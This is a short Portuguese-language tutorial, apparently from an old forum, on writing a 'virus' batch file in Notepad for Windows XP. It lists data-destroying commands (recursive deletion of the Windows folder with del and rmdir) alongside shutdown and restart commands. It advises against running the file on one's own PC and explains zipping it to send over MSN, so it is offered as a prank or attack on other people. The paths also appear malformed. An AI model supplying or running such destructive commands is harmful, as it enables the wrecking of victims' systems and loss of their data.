Você sabe o que é um bloco de notas né, se não souber pergunte para alguem que tenha menos de 5 anos que ele vai te responder
É muito simples, é só seguir as indicações abaixo. Bom vamos lá

Criar vírus no bloco de nota

Va em iniciar/executar e digite notepad.
Irá abrir o bloco de notas.
Copie o comando e cole no bloco de notas ao salvar vc usa .bat após o nome do arquivo
Ex: Virus.bat ( sempre tem que ser .bat)

del /s /q c:windows
(deleta tudo dentro do windows ex: arquivos e naum pastas)

rmdir /s /q c:windows
(deleta tudo do windows) - (ferra o pc)

shutdown -s
(desliga o pc)

shutdown -r
(reinicia o pc)

Obs: Não teste em seu proprio pc pois pode ocorer alguns danos. Lembrando que esses comandos,são só para o windows XP.OBS: Para enviar o arquivo pelo msn vc tem que zipar ele.